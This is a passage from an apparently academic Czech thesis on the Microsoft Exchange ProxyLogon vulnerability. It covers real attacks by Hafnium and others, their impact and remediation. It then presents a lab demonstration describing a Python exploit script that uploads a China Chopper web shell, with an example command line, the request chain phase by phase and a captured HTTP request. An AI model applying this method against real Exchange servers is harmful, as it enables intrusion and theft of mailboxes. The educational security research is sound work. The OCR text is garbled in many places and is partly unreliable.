a protivzdusnou raketovou obranu. [41] Némeckd skupina Pwn-Bér ozndmila, ze Tetraedr mélo
Exchange server zranitelny skrze ProxyLogon a diky tomu se jim povedlo ziskat vice nez 200 GB
internich e-mailovych zprav. [42]

Dalsi utok v roce 2022, ktery zneuzil zranitelnost ProxyLogon byl proveden na neznamou
spolecnost a utocnik zneuzil kromé ProxyLogonu i ProxyShell. Po ziskani pristupu si ttoc¢nik
zkopiroval e-mailovou postu jednoho ze zaméstnancii. Nasledné byl prozrazen a ztratil pristup
na server. Uto¢nik si viak zaregistroval vlastni doménu vizualné podobnou napadené organizaci,
a protoze mél e-mailovou poStu obéti, mohl odpovédét na e-maily a vyddvat se za obét (thread
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hijacking). Utoénik se snazil presmérovat platby zdkaznika obéti na své konto. Utok skoro vysel,
ale nakonec byla platba zablokovédna bankovni instituci. [43]

V dalsich utocich na Exchange servery v roce 2022 se uto¢nikiim povedlo zneuzit zranitelnost
ProxyShell, avsak tutoky, které by tspésné zneuzily zranitelnost ProxyLogon, uz nejsou znamé.
j44]

ANONYMOUS LIBERLAND
AND THE PWN-BAR HACK TEAM

About

The Unitary Enterprise "Tetraedr"
count B X ilit i

B Obrazek 2.17 Ukédzka prohldSeni skupiny , Anonymous Liberland and the Pwn-Béar hack team®,
kterd stala za itoky na organizaci Tetraedr — béloruského vyrobce vojensky zbrani. Skupina v prohldseni
uvadi, ze Tetraedr nemél zaplatovanou zranitelnost ProxyLogon a skrze ni se zmocnili celé e-mailové
posty organizace. Obrézek byl pfevzat z [42].

2.3.3 Dopady utokt

Spolecnost Eset ve svém vyzkumu uvadi, ze zaznamenala Gtoky ve vice nez 115 zemich a mi-
nimalné od deseti raznych APT. [45] Rizné zdroje se shoduji, Ze ttocniktm se celkové povedlo
ziskat piistup na piiblizné 250 tisic serveri.[46] Orange Tsai, objevitel zranitelnosti ProxyLogon
a eticky hacker, ktery se zabyva bezpecCnosti programu Exchange, ve svém vyzkumu uvadi, ze
existuje priblizné 400 tisic Exchange serveriu verejné dostupnych z internetu a tedy potencialné
napadnutelnych.[2] Toto potvrzuje i analyza od bezpecnostni firmy Rapid7.[40, kap. The glo-
bal view] Utoénikiim se tudiz povedlo nakazit vice nez 50% vefejnych Exchange servertl. Kazdy
verejny Exchange server je vétSinou pridruzen k néjaké organizaci a napadnuti tohoto serveru
znamend ziskan{ vétSiny e-mailu, a tedy i citlivych dat organizace. Tyto Utoky se fadi mezi nej-
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vétsi provedené na Microsoft Exchange, co kdy nastaly. Dalo by se vsSak spekulovat, Zze dopad
byl mnohem vétsi, nez se odhaduje, protoze unikla velmi citlivi data z mnoha organizaci a tato
data mohou obsahovat citlivé idaje i o organizacich, které nebyly napadeny. Uvadi se, ze unikla
data byla primarné z americkych (17 %) a némeckych (6 %) instituci. Nejvice napadenych insti-
tuci bylo z vlddniho a vojenského sektoru (22 %). [47] Nékteré napadané organizace predstavuji
dilezité instituce pro normalni ob¢any, napiiklad organizace Storting. Tato organizace je vladni
instituce predstavujici Norsky Parlament a byla tispésné napadena.[48]

Utoky vedené ¢inskymi kybergpionaznimi skupinami byly motivované nékolika faktory. V prvni
radé se jednd o kyberspionazni skupiny, takze z definice maji za cil odcizovat utajena data a Spe-
hovat armadni a vladni organizace. Pravé proto bylo tolik ttokt vedeno na vladni a vojenské
organizace v USA. Ticha kybernetické valka mezi Cinou a USA uz né&jakou dobu probihé a nenf
to nic nového. Obé dvé strany se navzdjem obvinuji z ttokia a snazi se ziskdvat utajovana data,
avsak je nutné dodat, ze vétsinou je to Cina, kdo tito¢f na USA a ziskdva nejen arméadni infor-
mace, ale i komeréni tajemstvi od béznych firem v USA. [49] V &ervnu roku 2021 USA formalné
obvinilo Ministerstvo statni bezpe¢nosti Cinské lidové republiky za titoky vedené na Exchange
servery skrze ProxyLogon. [50] Néktef{ bezpec¢nostni experti fikaji, Ze ¢inské utoky mély vétsi
presah nez jen pouhé Spehovani. Konkrétné ukradena data maji slouzit jako trénovaci data pro
¢inskou umeélou inteligenci. Vice je tato problematika popsand v samotné podkapitole.

Ve treti fazi byly dopady utoku velmi riznorodé. Pokud se povedlo ttoénikim nainstalovat
ransomware, dopady mohly byt obrovské, ale také nemusely znamenat skoro nic. Nékteré spolec-
nosti vyuzivaji automatické zalohovani a o zadna data tak nepfijdou, nicméné tnik dat muze byt
pro organizace velmi nepfijemny a publikovani internich dat muze organizace znacné poskodit.
Dobre napsany ransomware muze mit velké dopady, pokud se povede nakazit znacné procento
organizaci. Idedlnim prikladem je itok na spole¢nost Garmin, kterd nejspis musela zaplatit itoc-
nikim vykupné v hodnoté deseti miliond dolart. [51] V tom nejhorsim scénaii tak mohli ito¢nici
skrze zranitelné servery nakazit vétsinu zafizeni na lokalni siti a provést podobné masivni utok,
jako byl na Garmin. Takovy tutok vsak nebyl zaznamenam a napiiklad vykupné autorum malware
Pydomer bylo zaplaceno pouze jednou. Vétsi dopady mély tniky dat. S citlivymi daty se rtzné
obchodovalo na dark webu a také byly pouzity pro podvodné e-maily a socidlni inzenyrstvi.

V posledni fazi mohou ttoky ¢astecné ovlivnit pribéh valky. Odcizené e-maily se ndm bohuzel
nepovedlo ziskat. Pokud by data obsahovala technické detaily vyrabénych pristroji, tak by tyto
tidaje mohly pomoct pii dalsich kybernetickych titocich a dokonce i v pozemnim boji. Clovéku
se preci jen lépe bojuje, kdyz vi, ¢emu celi.

2.3.4 Hafnium

Jak jiz bylo psano, Hafnium je kyberspionazni skupina sponzorovana cinskou vladou. Jedna se
o velmi profesionalni utoéniky, ktery pouzivaji pokroéilé techniky. Casto sami objevi tiplné novou
zranitelnost, jako je napiiklad ProxyLogon. Jejich primarnim cilem je ziskat co nejvice utajo-
vanych informaci z organizaci v USA. Hafnium utoci i na jiné nez vladdni organizace, napiiklad
na vyzkumné organizace, pravnické firmy, zdravotnické instituce atd. PTi svych ttocich se snazi
zustat co nejdelsi dobu neobjeveni, avSak s pristupem na nakazeny server. Pro maskovani pouziva
Hafnium pronajaté proxy servery v USA. [52]

Hafnium pro své operace pouzivd Web Shell oznacovany jako China Chopper. Tento néstroj se
sklada ze serverové a klientské Casti. Serverova ¢ast se nahraje na zranitelny server a umoznuje
pristup na skrze , heslo”. Klientska ¢ast pak nabizi Sirokou skalu funkcionalit, jako je napfti-
klad prehled napadenych servera, grafické rozhrani a spravu nahranych soubort a databaze. Pti
utocich skrze zranitelnost ProxyLogon se pouzivala jednoradkova varianta pro jazyk JScript, uve-
dena na vypisu kdédu 3. Vice detailti o tomto nastroji lze ziskat v podrobné analyze od spolecnosti
FireEye. [53]

Nejcerstvejsi zprava o skupiné Hafnium je z dubna roku 2022. V této dobé se zjistilo, zZe
Hafnium na kompromitované servery nahravalo sofistikovany malware Tarrask. Tento malware
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skryté spousti opakované proces, ktery se ohlasi ttocnikovi na jeho server a piipadné obnovi
spojeni a otevie zadni vratka. Tarrask je velmi dobfe skryty, pomoci riznych nastaveni v re-
gistrech zajisti, ze neni vidét v zddném grafickém programu Microsoftu (napiiklad v pldnovadci
uloh). Tento malware na servery nahrévalo Hafnium v dobé od srpna roku 2021 do tnora roku
2022. [54]

2.3.5 Cina a uméla inteligence

Cina je historicky prosluld podobnymi titoky vedouci k masivnimu tniku privatnich dat. Riizné
bezpecnostni autority se domnivaji, ze motivace tto¢nikd kromé Spiondze byla i krddez dat,
za Ucelem vyvijeni umélé inteligence. Nyni budou predstaveny nékteré vybrané ttoky, aby si ¢te-
nai mohl udélat obrazek o tom, s kolika a jakymi daty Cina disponuje a nasledné bude piedsta-
vena zminénd uméla inteligence.

Jeden z nejmasivnéjsich dtoki byl v roce 2015. Pri tomto ttoku uniklo zhruba 21 miliént
zaznamu z OPM (Office of Personnel Management in USA). Jednalo se o privatni data zamést-
nanct, ale i dalsich lidi, kteri byli iradem nékdy provérovani. Primarné unikli osobni udaje
federalnich zaméstnanci, které obsahovaly napiiklad i historické idaje o mzdé, idaje o zivotnim
a zdravotnim pojisténi a vojenské zaznamy. Kromé téchto dat uniklo i zhruba 5 miliént otisk
prsti. [55] Dalsi masivn{ unik byl ze zdravotni pojistovny Anthem — bylo odcizeno zhruba 78
miliént jmen svazanych s rodnymi ¢isly. O dva roky pozdéji doslo k ukradeni 150 miliént avé-
rovych informaci z organizace Equifax. V roce 2018 doslo k dalsimu tniku, konkrétné ze sité
hotelti Starwoods — mélo dojit k iniku kreditnich karet, past a dalSich cestovnich informaci od
zhruba 500 miliénti lidi. Pfedstavitelé tajnych sluzeb v USA se domnivaji, ze Cina disponuje
privatnimi a osobnimi tidaji o zhruba 80 % americkych ob¢anti. Kromé dat z tinikti bude Cina
nejspise disponovat i informacemi, ziskanymi ,,legalni“ cestou, napriklad skrze sbér informaci od
dodavatelu telefont (Xiaomi, Huawei).

Pokud néjaké organizace disponuje takovym mnozstvi informaci, nastava problém, jak vsechny
tyto informace dobfe zpracovat a kategorizovat. Cina se vak tohoto nelehkého tikolu snazi zhostit
pomérné dobre. Utoky skrze ProxyLogon jsou nazornou ukézkou, ze se Ciné daii kategorizovat
a zpracovavat unikla data. PTi itocich musi ttocnik znat e-mailovou adresu administratora, ktera
ve vét§iné pipadii nenf vefejné dostupnd a stejnd. Utoénici tedy néjakym zptisobem museli touto
informaci disponovat a mtzeme se domnivat, ze se jim pravé povedly zpracovat unikla data z pre-
deslych dtoku a zjistit, jaké jsou e-mailové adresy administratoriu. Takovou myslenku potvrzuje
i Tom Burt, viceprezident Microsoftu: ,, What we’ve heard directly is they’ve accumulated vast
quantities of data about Americans and they must have created a massive database that included
the actual email of who are the Exchange server administrators.“ [56]

V roce 2017 Cina ohlasila, Ze se jejich narodni prioritou stévé vybudovat prvot¥idni svétovou
umélou inteligenci (déle jen AI). Pro tyto tcely se Cina zaméfila na dva faktory: vychovani
pocitacovych experti pro vyvoj Al a ziskdn{ masivnich vzorku dat, ze kterych se muze Al udit.
V roce 2021 se z vivoje ¢inské Al stava biliénovy primysl a Cina zavadi regulace a plany na
vyvoj Al [57] Aby mohla Cina vybudovat opravdu svétovou Al, potfebuje privatni data i z jinych
zemi, a proto nesbird data pouze ve své zemi. Utoky jsou primarné vedeny na USA kvili tomu,
7e je to nejvétsi souper Ciny ve vyvoji svétové AL Je nutné si uvédomit, ze Al hraje roli v zivoté
kazdého z nas. Uméla inteligence se pouziva napriklad pro vypocet cen hypoték a pojisténi, ale
tfeba i pro zobrazovani obsahu uzivateli. Aniz bychom si to uvédomili, uméla inteligence muze
s nasim zivotem pomérné dobfe manipulovat. Na celé situaci muze byt znepokojujici, ze vyvoj
¢inské Al je pohanén a ovliviiovan tamni vladou, tedy Komunistickou stranou Ciny. V takovém
piipadé si clovék nemiize byt jisty, zda vytvorend Al nebude zneuzivana k osobnim zajmam Ciny.
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2.4 Napravné akce

To, Ze se zranitelnost stala populdrni, vyvolalo nékolik ak¢nich kroku od rtuznych autorit, které
se snazily zneuzivani zranitelnosti zamezit. Pfedevsim se Microsoft snazil své uzivatele okamzité
informovat a nutit je aplikovat zaplaty. Pro rychlou napravu Microsoft vydal ,,one-click néstroj,
ktery automaticky zéplatuje zranitelnost a cely server oskenuje a pripadné odstrani Web Shelly.
58]

Kromé Microsoftu se do varovani zapojily dalsi autority. Napiiklad Bily Dtm vefejné varoval
pred zranitelnost{ (obrazek @) a vyvijel tlak na Microsoft, aby uzivatelim usnadnil aktualizaci.
Diky tomu vznikl zminény ,,one-click® nastroj.

a Jake Sullivan &

@JakeSullivan46

We are closely tracking Microsoft’s emergency patch
for previously unknown vulnerabilities in Exchange
Server software and reports of potential compromises
of U.S. think tanks and defense industrial base

entities. We encourage network owners to patch
ASAP: msrc-blog.microsoft.com/2021/03/02/mul...

PreloZit Tweet

3:17 dop. - 5. 3. 2021 - Twitter Web App

1434 Retweetll 182 Tweety s citaci 3 225 Lajkil

B Obrazek 2.18 Jake Sullivan je bezpecnostni poradce Bilého Domu a na svém Twitter ¢tu varuje pred
zranitelnosti ProxyLogon a vybizi uzivatele k aplikovani zéplaty.

V Ceské republice pred zranitelnosti varoval Narodni tiad pro kybernetickou a informaéni
bezpecnost (NUKIB). [59]

Do celé situace se nakonec vlozila i FBI. Ministerstvo spravedlnosti Spojenych statt roz-
hodlo, Ze FBI muze vyhledavat zranitelné servery v USA a aktivné z nich odstranovat nahrané
Web Shelly. Podle FBI byly timto zptusobem ,, vy¢istény* stovky servert, pricemz FBI nasledné
kontaktovala vlastniky infikovanych servert. @]

Diky vySe zminénim akcim, a predevsim diky velké propagaci a tlaku na spolec¢nosti, se
povedlo koncem biezna zabezpecit vice nez 92% Exchange serveri. [39]



Kapitola 3

Demonstrace utoku

V této kapitole je demonstrovan jeden z titokl zneuzivajici zranitelnost ProxyLogon. Nejprve je
predstaveno virtualni prostredi, ve kterém byl titok proveden. Konkrétné je popsan navod, jak
si takové prostiedi vytvorit.l Nasledné je pfedstaven program, ktery demonstruje zranitelnost
Proylogon a cely ttok automatizuje. Déle jsou vyhodnoceny dopady, které mohl mit tento ttok na
uzivatele. Nakonec je provedena analyza architektury programu Exchange — na zakladé analyzy
zdrojového kédu, provedené demonstrace a dostupnych popisii je vyhodnoceno, jaké nedostatky
v architekture programu umoznily tento tutok a jaké bezpecnostni principy jimi byly poruseny.

3.1 Virtualni prostredi

Pro pripravu prostiedi je nutné mit nainstalované dva Windows servery: server A a server B.
Server A bude slouzit jako doménovy fadi¢? (Domain Controller) a na server B bude nainstalovin
program Exchange. Oba servery musi byt ve stejné LAN siti a pfipojené do Active Directory®
(AD), kterou bude fadi¢ domény poskytovat. Ndsledné je mozné na server B nainstalovat program
Exchange.

Jako virtualiza¢ni feseni byl zvolen program VirtualBox. Z divodu dostupnosti byl zvolen Ex-
change verze 2016, ktery je stale podporovan a pouzivan. Do VirtualBoxu byly nainstalovany ser-
very A (Doménovy fadic) a B (Exchange). Instala¢ni soubory byly stazeny ze strdnek Microsoftu:
https://wuw.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016. Oba ser-
very byly zapojeny do virtudlni sité, ve které byl i hostovaci pocitac a byla jim prirfazena staticka
IP adresa. Nésledné byla na server A nainstalovana Active Directory pomoci programu ,, Ser-
ver Manager” a oba pocitace byly pfipojeny do nové vytvorené AD. Néasledné byl Exchange
server pripravovan pro instalaci samotného programu Exchange. Déale bylo na Exchange ser-
ver nainstalovano nékolik programi, které program Exchange vyzaduje. VSechny tyto programy
jsou dostupné na oficidlnich strankach Microsoftu, pripadny odkaz na stazeni lze taktéz najit
v oficidln{ dokumentaci [61].

1. NET Framework 4.8

2. Visual C++ Redistributable Package for Visual Studio 2012

17 licenénich dfivod nemtizeme distribuovat vytvotené prostiedi jako piilohu k praci. Vytvorili jsme vsak
virtualni prostiedi na sluzbé Cloud FIT a zdjemcim muzeme dat pristup.

2Server, ktery je zodpovédny za spravu autentizaénich pozadavki v rdmci doménové sité.

3Hierarchickd struktura, do které se uklddaji informace o objektech v siti. Vice podrobnosti je mozné nalézt
v oficidlni dokumentaci: https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/
virtual-dc/active-directory-domain-services-overview

35
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3. Visual C++ Redistributable Package for Visual Studio 2013

4. Microsoft Unified Communications Managed API 4.0, Core Runtime 64-bit

Nésledné byl v AD vytvoren novy uzivatel a na Exchange serveru dédle pouzivan pouze ten.
Tento uzivatel byl pridan do skupin v AD:

1. Enterprise Admins group
2. Schema Admins group
3. Exchange Organization Management role group
Déle byl server B (Exchange server) pridan do téchto skupin v AD:
1. Organization Management
2. Server Management

O dalsi konfiguraci AD a instalaci potrebnych Windows komponent se postard automaticky
instalator, tudiz tyto nalezitosti nebylo potieba resit.

Déle bylo identifikovdno, ze zranitelnost opravuje kumulativni aktualizace ¢islo 20, zkra-
cené CU20, tudiz na Exchange server byl nainstalovan program Exchange s posledni aktualizaci
CU19, pomoci oficidlniho instalacniho souboru, dostupného z: https://www.microsoft.com/
en-us/download/details.aspx?id=102532. Exchange byl nainstalovan v roli postovniho ser-
veru. Automaticky instaldtor nejprve provede kontrolu prostfedi a pokud néco chybi, tak se
instalace nespusti a uzivatel je varovan. Po tispésné instalaci Exchange byla provedena pocatecni
konfigurace. Pfihlésili jsme se jako administrator do EAC a prosli tivodnim nastavenim (staci
zvolit jazyk programu). Sluzbu EAC lze nejlépe najit skrze nabidku start — Microsoft Exchange
Server 2016 — Exchange Administrative Center.

Nakonec byl na hostujici PC doinstalovan Python a Burp pro lepsi provedeni analyzy a de-
monstraci utoka.

Oba dva servery jsou opatfeny pouze zkusebni licenci, kterd je na 180 dni. Pokud tato licence
vyprsi, je mozné ji az Sestkrat prodlouzit. Pro ovéreni stavu licence je potfeba spustit ptrikaz:
slmgr -dlv. Nasledné se zobrazi okénko, které informuje o stavu a kolik zbyva moznosti prodlou-
Zeni (rearm). Déle je mozné licenci prodlouzit pomoci piikazu: slmgr -rearm. Difve se licence
prodlouzila opét o 180 dni, nyni se vsak licence prodlouzi pouze o 10 dni.

3.2 Automaticky skript

Pro demonstraci zranitelnosti byl zvolen zpusob utoku postupného zneuzivani backendovych
sluzeb. V jazyce Python byl naprogramovan skript, ktery umi zneuzit zranitelnost ProxyLogon
a na server nahrat Web Shell. Nasledné se umi na Web Shell pfipojit a vykonavat piikazy zadané
utoc¢nikem. Skript bude nyni popsan — nejprve bude ukazano, jakym zptsobem se skript pouziva,
a nasledné budou probrany technické detaily implementace.

3.2.1 Pouziti

Skript je ve vychozim stavu plné automaticky, uzivateli staci specifikovat nékolik argumenti.
Skript byl napsan pro prostredi Python verze 3.7.3. Skript pouziva nékteré standardni knihovny,
které jsou definovany v souboru requirements.txt a jdou nainstalovat napiiklad pomoci na-
stroje pip: pip install -r requirements.txt. Je samozfejmé mozné poustét skript s novejsi
verzi Pythonu a knihoven, avSak skript byl plné otestovan pouze ve zminénych verzi. Pokud bude
chtit uzivatel poustét skript v jinych verzich, mohou se vyskytnout nepredvidatelné problémy.
Skript obsahuje tfi moduly, kazdy se d4 poustét zvlast a ma jinou funkcionalitu:
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ProxyLogon.py SlouZi k zneuziti zranitelnosti ProxyLogon a nahrani Web Shellu na server.

chopper.py Umozni Gtocnikovi se pripojit na nahrany Web Shell a vykonavat ptrikazy na na-
kazeném serveru.

main.py Kombinace dvou predchozich moduli. Automaticky nahraje na server Web Shell, pti-
poji se k nému a umozni itoénikovi vykonavat prikazy.

Kazdy z modulu lze spustit samostatné a provede se pouze dana funkcionalita. P¥i spousténi
konkrétniho je nutné modulim predat parametry. Pro modul main. py se jedna o tyto parametry:

-t, --target Nastaveni url adresy Exchange serveru, na ktery chce uzivatel utocit.
-e, --email Nastaveni e-mailu administratora atakovaného serveru.

-1, --location Nastaveni umisténi, kam se ma nahrat Web Shell.

-r, --request Nastaveni cesty, kde bude Web Shell dostupny skrze POST pozadavek.
-p, --password Nastaveni hesla pro Web Shell.

-x, --proxy Nepovinny argument, pokud je nastaven, tak se komunikace preposild pres dany
proxy server.

-h, --help Zobrazeni ndpovédy.

Modul ProxyLogon.py nemé argument -r (--request) a modul chopper.py nemé argu-
menty -e (--email), -1 (--location). VSechny moduly disponuji ndpovédou a ukazkami
pouziti. Klasicky priklad spusténi modulu main.py muze vypadat takto:

python3 main.py \

-t https://10.0.0.10 \

-e MegaCorpAdmin@megacorp.local \

-1 "C:\\Program Files\\Microsoft\\Exchange
Server\\V15\\FrontEnd\\HttpProxy\\ecp\\auth\\EvilCorp.aspx" \
-x http://127.0.0.1:8080 \

-r "/ecp/auth/EvilCorp.aspx" \

-s EvilCorp

Skript je samoziejmé opatren patficné barevnymi vypisy, aby byl pro uzivatele privétivéjsi.
Ukéazka spusténi skriptu je na obrazku 3.1.

3.2.2 Technické detaily

Modul main.py pouze spojuje moduly ProxyLogon.py a chopper.py.

Modul ProxyLogon.py je zodpovédny za zneuziti zranitelnosti ProxyLogon. Jednotlivé faze
utoku jsou rozdéleny do odlisnych metod. Kazdy pozadavek je proveden na neexistujici staticky
soubor na url adrese /ecp/<randomChar>.js. Déale je do cookie ,, X-BEResource* pridano pte-
smérovani na pozadovanou sluzbu. Backendové sluzby bézi na portu 444, proto jsou pozadavky
pfesmérovavany na tento port.

V nulté fazi atoku je nutné, aby skript ziskal FQDN serveru. Toho lze dosdhnout nékolika
zpusoby. Zvolili jsme cestu takovou, ze provedeme GET pozadavek na server skrze zranitelnost
ProxyLogon. Dojde k chybé a server vrati chybovou hlasku. Protoze se ale jednalo o pozadavek

skrze ProxyLogon, server vrati i nékteré interni informace, napiiklad ,, X-FEServer“, coz je pravé
FQDN.
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B Obrazek 3.1 Na obrézku je vidét spusténi automatického skriptu, ktery zneuzije zranitelnost Proxy-
Logon a umozni ato¢nikovi spoustét prikazy. Uto¢nik spustil piikaz ,,whoami“ a zjistil, Ze je autorizovan
jako nejvice privilegovany uzivatel v opera¢nim systému Windows.



Dopad na uzivatele

V prvni fazi se zneuzije sluzba Autodiscover. Od serveru jsou vyzadané informace o adminis-
tratorovi. Syntaxe pozadavku byla prevzata z ukézky v oficidlni dokumentaci Microsoftu. [17,
kap. Autodiscover Request] Néasledné skript z odpovédi vyfiltruje potfebné udaje: LegacyDN
a MailboxId.

V druhé fazi je proveden pozadavek na sluzbu MAPI. Pozadavek je taktéz inspirovan z ukazky
v oficidlni dokumentaci Microsoftu. [17, kap. Establish a New Session Context] Dulezity rozdil
je ten, Ze na konci pozadavku se vyskytuje 21 bajtd rtznych hodnot. Tyto bajty specifikuji
ruzné nastaveni pro komunikaéni protokol, podrobnosti 1ze vy¢ist z dokumentace. [17, kap. Con-
nect Request Type Success Response Body] V tomto pfipadé jsme nejprve pfidali nulovy bajt,
abychom ukondili fetézec legacyDN. Néasledné jsme specifikovali ¢tyfi bajty s hodnotou 0x00
a tim nastavili, Ze se mé jednat o pozadavek, ktery nepotfebuje autorizaci. Pomoci dalsich 12
bajt (po skupindch 4) jsme nastavili kédovéni zprév, které se budou posilat. Nakonec pomoci
poslednich ¢tyr bajtt jsme specifikovali, ze nechceme posilat zadné dodatecné informace. Takovy
pozadavek je zpracovan, ale vrati chybu, zZe je potieba, aby se jednalo o autorizovany pozadavek.
Avsak v této chybové hlasce je mnoho podrobnosti, naptiklad i SID, které skript z odpovédi
vyfiltruje.

Ve treti fazi je proveden pozadavek na interni sluzbu ProxyLogon. K této sluzbé neexistuje
zadnd oficidlni dokumentace, protoze by k ni normalni uzivatelé neméli pristupovat. Pozadavek
vytvoreny ve skriptu byl nejprve inspirovan od prvné vefejného dikazu zneuziti. [24] Nasledné
s nim bylo rizné experimentovano, az byl zménén do finalni podoby. Dilezitym prvkem poza-
davku je ziskané SID. Na takovy pozadavek vrati sluzba dvé cookies, které umoznuji pristup do
EAC pro uréitou relaci jako uzivatel, kterému SID patt¥i. Skript si tyto cookies ulozi a déle je
pouziva pii pristupech na EAC.

Ctvrté, paté a Sestd faze uz manipuluje s EAC. Aby bylo mozné proces nahrani Web Shellu
automatizovat, byla provedena analyza komunikace mezi uzivatelovym prohlizecem a EAC. Kon-
krétné byla ruéné nastavena externi url adresa sluzby OAB, a nasledné byl proveden reset nasta-
veni této sluzby, a tedy zaloha do souboru. Pti téchto akcich bylo sledovano, jaké pozadavky jsou
posilany na server. Bylo zjisténo, ze takové akce obstarava sluzba DDIService.sve, nachézejici se
na adrese ecp/DDI/. Diky zachycenym pozadavkim byla zjisténa i pozadovana syntaxe. Takovy
pripad je vidét na obrazku 3.2. Pozadavky byly tedy napodobeny a upraveny, aby obsahovaly
pouze absolutné nutna data. Sluzba DDIService.sve nabizi webové proprietarni API, které mimo
jiné nabizi funkce ,,GetObject“ a ,,SetObject“. Aby bylo mozné nastavit externi url skrze funkci
SetObject, je nutné zjistit proménnou ,, Identity“, kterou EAC pouziva pro identifikovani sluzeb.
Nejprve se tedy ziskd identita sluzby OAB pomoci pozadavku na GetObject. Nasledné se nastavi
externi url adresa, pozadavkem na SetObject a nakonec se provede reset nastaveni téz pozadav-
kem na SetObject, akorat s jinymi parametry. Skript nahraje na server Web Shell ve varianté
China Chopperu, pricemz uzivatel muze specifikovat heslo.

Modul chopper . py pomoci HTTP pozadavku mifictho na Web Shell umozni uzivatelovi vyko-
navat prikazy na infikovaném serveru. Piikaz se na serveru vykona a jeho vystup se zakomponuje
piimo do odpovédi. Odpovéd je obsah souboru, ktery obsahuje zalohu nastaveni OAB slozky.
Misto Jscriptového kddu je na zacatek souboru umistén vystup z tohoto kédu. To je dano tim, ze
pfi kompilaci stranky se nejprve provede kéd a ulozi se jeho vystup a az teprve poté je pridano
vse ostatni. Aby se nemichal zbytek souboru s redlnym vystupem, tak skript odstrani z odpovedi
poslednich 36 radka a teprve poté ji vytiskne uzivatelovi. Tato hodnota se vSak muze napfic
verzemi lisit a je potreba, aby si ji zkusenéjsi uzivatel pripadné upravil.

3.3 Dopad na uzivatele

P1i takovém utoku typu, ktery demonstruje skript, muze byt dopad na uzivatele marginalni,
avsak muze byt také naprosto katastroficky. Mozny dopad je ovlivnén mnoha faktory, napriklad:

1. Jakd data maji uzivatelé v e-mailech a na infikovaném serveru uloZena.



40

Demonstrace utoku

Intercept HTTP history WebSockets history Options

& 0 Request to https://10.0.0.10:443

Forward Drop

Raw Hex n =

1 POST /ecp/DDI/DDIService.svc/GetObject?ActivityCorrelationIl=
35f88818-607h-8af5- 8392-525b8623955Lawo rkfl ow=Get ForSD0&schema=0ABVirtual Directory &
msExchEcpCanary=6A] FXJfTSkEKIbAy 93] _IEDGWYNFKNoIFEIifdE-QoPjK8acThpbl zBXGTFbnBIy vERPUgBq480 .
HTTR/2

2 Host: 10.,0.0.10

S Cookie: msExchEcpCanary=
G641 FXIFTSkEKIb Ay 93]_TEDGNYMTKNoIFSI1ifd&- QoPjK8acThpbl zBXGTFhnBSy vSRPUgBg 480 ;
X-BackEndCookie=
5-1-5-21-2296111141-1308593480- 39255824825- 1106=uS6Lnp2e] JqBzsZcx8rPxpz SyMyamdLLz 8fMOp70OnZv Sm
sndms/MzMbKmZzGgYHNz 83N0s /KOs 31g87Kxc/Ixczl; PrivateComputer=true; PBack=0; cadata=
Aicfz/wDRTYY/cYWSPFlsqo9KevIIdEIft bMd 2Rk 2 Iv39/ ZksPniVEMEIHOKCVHE Y 1LdDY Vt BOIt GSTMTL DamOROYFL 4Dk
ThEE+gURYDSLg+gx33s rt Xhvehs /HES/ 9x+1P2nHTSO0CRLOSr 4rFs0pw==; cadataTTlL=
PsP1ly8xvVpsBS8BhekTQ0==; cadatakey=
1 fx43fOP8CCEL GanpGNTTraPHr fwGhSd ryTwet COFGPiWUSCayFiFEWLg 0/ fwin] feSqTzEM1DMEAZATNAKEHL CKoaAn
eDZb Ot x 794Faq0Sk /oh+ 9GTL24rFPhbAGHNCLGMY 3wo 22/t e 5SERETUL/ mv 4t 91 GECQSCaVaBWak LDET +vv rVyQ3rfWcd
HVS1¥LchuSgWTCrRALr SafSEpMUsHs oQAMHSfeBx] § /IbTIZbgDmElC] WiCi] 4uelwDIAChELgmwFy Y ATFwaHUhxRDcy
FESUTUa4RGU2CR+/ FeVDoxfmZMLloq/e00KvaPblvZVgbENONoGLERBIVIUHIEL/QAC==; cadatalV=
k+3WBzWPbNBBZqyba3LugV228L) 6VScDFT ] +4R+FOTETGo1 ThunNZEl GnSal P/ 06y hS0dTTUAKdms gOVkLSao+ oMW Syl
SHO0BKgLal +PvxdkdAVIOGMSKolUCU] kIkxSgA] AdFS3eMGdIQaPBFN88HU ool 03x UPG+cp rmpRyXd JTGhgr CEISUxgbG
+K9CpzPQle0Zhm9s s55L 0Gh Uy MWhwnM2y uRwEC SUI1 cpTdBOEebDIQ3rq03DspshmAa 4Fk OcEcqSo TeYg80IPSIROkPE
mYv JE/BWNSPYT3x9vilepfvAZIgXvIEQ] 45 q7WLZx SWIVXECSONSVONL 80x rx09Mg==; cadataSig=
pokK3] kWP2/ TuJb JeMy SogVESy dy COIb 70y v XPR7XKY VaWRc NbE2Z931 74UWKMx L5q L HEq x 4y TCMKzRIpm] FIVCiGxMd
265601 4t GRUBD+Sx1h] 8¥Vr947FnZ3gJol 20vc LESY SOHk SHxPMby PsYucWHUFOmS7gasKpbk gMNT7 SeDd /g ¥2Nk JTzd8
R41b JRODOGVEHY 0,/ hgL29gbELS2AKIK MY+ Q9uZCEt BihwCY VHRLMZ vy LGhdnDarCo8nmYHPEKp 7PKHMBDZILCmQ0p J
K2qgl sSNzfDOcQAX ZVMwnTTVFk rSFS4Z80auxo2a2nlrCBk+Guex01j17UJJ1Lluzw==; ASP.MET_SessionId=
b7bbeSde-f287- 4495 -bff8-Beff2f06e392; TimeOffset=-120; Eac_CmdletlLogging=false;
SrvTrialChecked=trus

4 Content-Length: 120

5 Sec-Ch-Ua: "Chromium";v="97", " Not;A Brand";v="99"

& Content-Type: application/json; charset=UTF-&

7 ¥-Reguested-With: ¥MLHttpReguest

2 Sec-Ch-Ua-Mobile: 70

9 User-Agent: Mozilla/5.0 (Windows WT 10.0; Wing4; x54) ApplewWebKits537.36 (KHTML, like Gecko)
Chrome/57.0.4692,71 Safari/537.36

10 Sec-Ch-Ua-Flatform: "Linux"

11 Accept: #/%

®{<:>} €| =>|| search... 0 matches

B Obrazek 3.2 Obrazek zachycuje odposlechnuty HTTP POST pozadavek na interni sluzbu DDISer-
vice.sve. Administrator pomoci webového rozhrani EAC provedl nastaveni nékterych parametru sluzby
OAB. V takovém ptipadé se provedou dva pozadavky: GetObject a SetObject. Na obrézku je vidét poza-
davek na sluzbu GetObject. Tento pozadavek byl automatickym skriptem s urcitymi ipravy napodoben.

Action Open Browser
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2. Jakym zpusobem je postavena vnitini sit a jakou roli v ni hraje infikovany server.
3. Typ utocnikt a co maji za amysl.

